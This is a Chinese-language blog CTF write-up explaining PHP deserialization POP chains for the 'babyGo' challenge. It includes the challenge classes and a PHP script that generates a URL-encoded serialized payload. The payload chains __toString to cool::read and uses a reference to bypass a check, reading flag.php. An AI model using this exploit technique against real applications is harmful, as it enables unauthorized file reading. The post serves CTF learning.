babyGo(安恒2019.1 pop链的构造)

原创

GAPPPPP 于 2019-02-24 22:32:32 发布 1889 收藏 7

分类专栏： 安恒

本文链接：https://blog.csdn.net/stepone4ward/article/details/87908854

周周练的时候看了一叶飘零师傅的博客才知道pop链的存在(还是太菜了啊)，先来学习一下关于pop链的知识。

pop链的利用

以前理解的序列化攻击更多的是在魔术方法中出现一些利用的漏洞，因为自动调用从而触发漏洞。
但如果关键代码不在魔术方法中，而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。

再看一看这道题目的baby类

```
class baby
{
        protected $skyobj;
        public $aaa;
        public $bbb;
        function __construct()
        {
                $this->skyobj = new sec;
        }
        function __toString()
        {
                if (isset($this->skyobj))
                        return $this->skyobj->read();
        }
}
```


也就是说这道题目中的类baby调用了sec类的read()方法。l

```
class sec
{
        function read()
        {
                return "it's so sec~~";
        }
}
```

但是sec类的read()是一个安全函数，这时候发现cool类也存在一个read()方法，我们可以利用cool类的read()函数对flag.php进行读取。

```
class  cool
{
        public  $filename;
        public  $nice;
        public  $amzing;
        function  read()
        {
                $this->nice  =  unserialize($this->amzing);
                $this->nice->aaa  =  $sth;
                if($this->nice->aaa  ===  $this->nice->bbb)
                {
                        $file  =  "./{$this->filename}";
                        if  (file_get_contents($file))
                        {
                                return  file_get_contents($file);
                        }
                        else
                        {
                                return  "you  must  be  joking!";
                        }
                }
        }
}
```


这个时候就要利用最开始提到的pop链来调用cool类的read方法。构造的方法如下(将构造函数中的sec改为cool即可)

```
class baby
{
    protected $skyobj;
    public $aaa;
    public $bbb;
    function __construct()
    {
        $this->skyobj = new cool;
    }
    function __toString()
    {
        if (isset($this->skyobj))
            return $this->skyobj->read();
    }
}
```


注意到cool类中read方法的判断语句`$this->nice->aaa === $this->nice->bbb`，而且`$this->nice->aaa = $sth;`变量aaa被一个未知量`$sth`赋值了。这个时候我们利用指针`$a->bbb =&$a->aaa;`这样bbb的值就能随着aaa的变化而变化，在线编译一下(其中amazing是一个序列化的空的baby类的对象)

```php
<?php
class baby
{
    protected $skyobj;
    public $aaa;
    public $bbb;
    function __construct()
    {
        $this->skyobj = new cool;
    }
    function __toString()
    {
        if (isset($this->skyobj))
            return $this->skyobj->read();
    }
}

class cool
{
    public $filename='flag.php';
    public $nice;
    public $amzing='O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A
8%3A%22filename%22%3BN%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A
%22bbb%22%3BR%3A6%3B%7D';
    function read()
    {
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "you must be joking!";
            }
        }
    }
}
class sec
{
    function read()
    {
        return "it's so sec~~";
    }
}
$a = new baby();
$a->bbb =&$a->aaa;
$b=serialize($a);
echo urlencode($b);
?>
```

get方式传入结果，得到flag